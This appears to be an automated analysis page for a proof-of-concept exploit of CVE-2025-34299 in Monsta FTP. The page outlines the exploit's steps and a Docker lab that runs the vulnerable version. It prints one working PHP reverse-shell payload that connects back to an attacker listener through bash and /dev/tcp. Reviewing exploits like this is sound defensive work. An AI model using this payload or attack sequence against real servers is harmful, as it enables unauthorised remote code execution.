monsta-ftp
vulnerable web applicationexploit target
A service built from lab/Dockerfile, running Apache with PHP 7.4 and Monsta FTP 2.10.4, exposed on host port 8080.
lab/docker-compose.yml:4-10lab/Dockerfile:1-28Chocapikk/CVE-2025-34299
PoC files
5 filesFile viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.
Analysis
Technical assessment
Python exploit for CVE-2025-34299 that achieves remote code execution on Monsta FTP by uploading a PHP reverse shell via the vulnerable downloadFile endpoint and triggering it.
Backdoor review
No backdoor observed in reviewed code
The exploit code performs the documented CVE-2025-34299 attack: it starts a malicious FTP server, uploads a PHP reverse shell payload to the target Monsta FTP instance, and triggers execution. No concealed backdoor, unrelated payload, or operator-directed harm beyond the stated exploit was observed.
ClassificationExploit
Model confidence100%
AuthenticationNot required
Languages
Target software
Attack types
Evidence & reasoningClassification basis · observed behavior · safety review
Classification basis and observed behavior
Classification basis
The artifact contains a complete Python script (exploit.py) that actively exploits CVE-2025-34299 by uploading a PHP reverse shell payload and executing it to gain remote code execution, which is the definition of an exploit.
exploit.py:1-178README.md:1-7Requirements
- Target running Monsta FTP <= 2.11 with accessible API endpoint
README.md:1 - Attacker must be able to run a malicious FTP server reachable by the target
exploit.py:65-88 - Attacker must have a listener reachable by the target for reverse shell
exploit.py:30-63
Observed behavior
- Starts a malicious FTP server hosting a PHP reverse shell payload
exploit.py:65-88 - Sends an unauthenticated POST request to the Monsta FTP API to download the payload from the malicious FTP server to a web-accessible path
exploit.py:108-132 - Triggers the uploaded PHP file via HTTP GET to execute the reverse shell and self-delete
exploit.py:140-148 - Establishes an interactive reverse shell using pwntools
exploit.py:52-63
Behaviors behind the backdoor verdict
Observables
- Reverse Shell Payload
- <?php $f=__FILE__; exec("/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1 &'"); unlink($f); ?>The payload is a standard PHP reverse shell that connects back to the attacker-controlled listener. It is generated dynamically with attacker-supplied lhost and lport.
exploit.py:72 - Listener
- Listener class binds to lhost:lport and uses pwntools to provide an interactive shellThe listener is the attacker's endpoint for receiving the reverse shell connection. It is a standard component of the documented exploit.
exploit.py:30-63 - Malicious Ftp Server
- pyftpdlib server hosting the PHP payload with random credentialsThe FTP server is used to deliver the malicious PHP file to the vulnerable Monsta FTP instance via the downloadFile action. This is the core of the documented exploit.
exploit.py:65-88
What the analysis did not establish
- Two files (lab/ directory contents) are omitted from the evidence; the Dockerfile and docker-compose.yml are not included, but the exploit logic is fully present in the provided text files.
- Two files (lab/Dockerfile, lab/docker-compose.yml) were omitted from the text evidence; their content was not reviewed.
- Binary content was not present in the evidence.
Model interpretation
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.
Docker lab environments
1GitHublab/docker-compose.yml
Created Vuln labCVE-2025-34299Compose · builds
Analysis
Environment assessment
A Docker Compose environment that builds and runs a Monsta FTP 2.10.4 instance on Apache/PHP 7.4, intended as a vulnerable target for CVE-2025-34299 exploit testing.
lab/docker-compose.yml:1-12lab/Dockerfile:1-28Lab assessment
Vulnerability labThe README explicitly describes the environment as a lab for exploiting CVE-2025-34299 in Monsta FTP, and the Dockerfile downloads the vulnerable version 2.10.4.
README.md:1-3lab/Dockerfile:15-18Lab shapeCompose · builds
Services1
Compose manifests1
Dockerfiles1
Evidence & reasoningComponents · CVE assessment · exercise context · review boundaries
Services and files described by the evidence
How the supplied evidence relates each vulnerability
CVE-2025-34299
Supported by supplied evidence
The README describes the vulnerability and exploit path, and the Dockerfile installs the affected Monsta FTP 2.10.4 version, consistent with the CVE.
README.md:1-3lab/Dockerfile:15-18Requirements and sequence described by the evidence
Prerequisites
- Python 3.x with dependencies from requirements.txt (pyftpdlib, requests, pwntools) to run the exploit script.
requirements.txt:1-3README.md:15-16 - Docker and Docker Compose to build and run the lab container.
README.md:15-16 - Network access to download Monsta FTP 2.10.4 from archive.org during Docker build.
lab/Dockerfile:15-16
Evidence-described exercise path
- Build and start the lab container using Docker or Docker Compose, making Monsta FTP available at http://127.0.0.1:8080/mftp.
README.md:23-33 - Run the exploit script (exploit.py) against the lab URL, which starts a malicious FTP server, uploads a reverse shell payload, and triggers execution.
README.md:55-57 - The exploit establishes an interactive reverse shell connection to the attacker's listener.
README.md:67-70
Behaviors behind the stored safety assessment
No harmful behavior observed
The environment is a self-contained vulnerability lab. The exploit behavior targets only the lab container, and no evidence shows host escape, external connections, persistence, or hidden malicious actions.
lab/docker-compose.yml:1-12lab/Dockerfile:1-28README.md:1-127What the analysis did not establish
- The exploit script (exploit.py) is not included in the evidence packet, so its exact behavior cannot be verified.
- The Dockerfile downloads a ZIP from archive.org; the contents of that ZIP are not inspected.
- The lab uses host port mapping 8080:80, which is a common lab requirement but could expose the service to other hosts if the host firewall allows it.
Model interpretation
This review is limited to the supplied lab evidence packet. It does not assert that the environment runs, reproduces a vulnerability, or is safe to execute. Contract: eip-docker-lab-analysis-v1.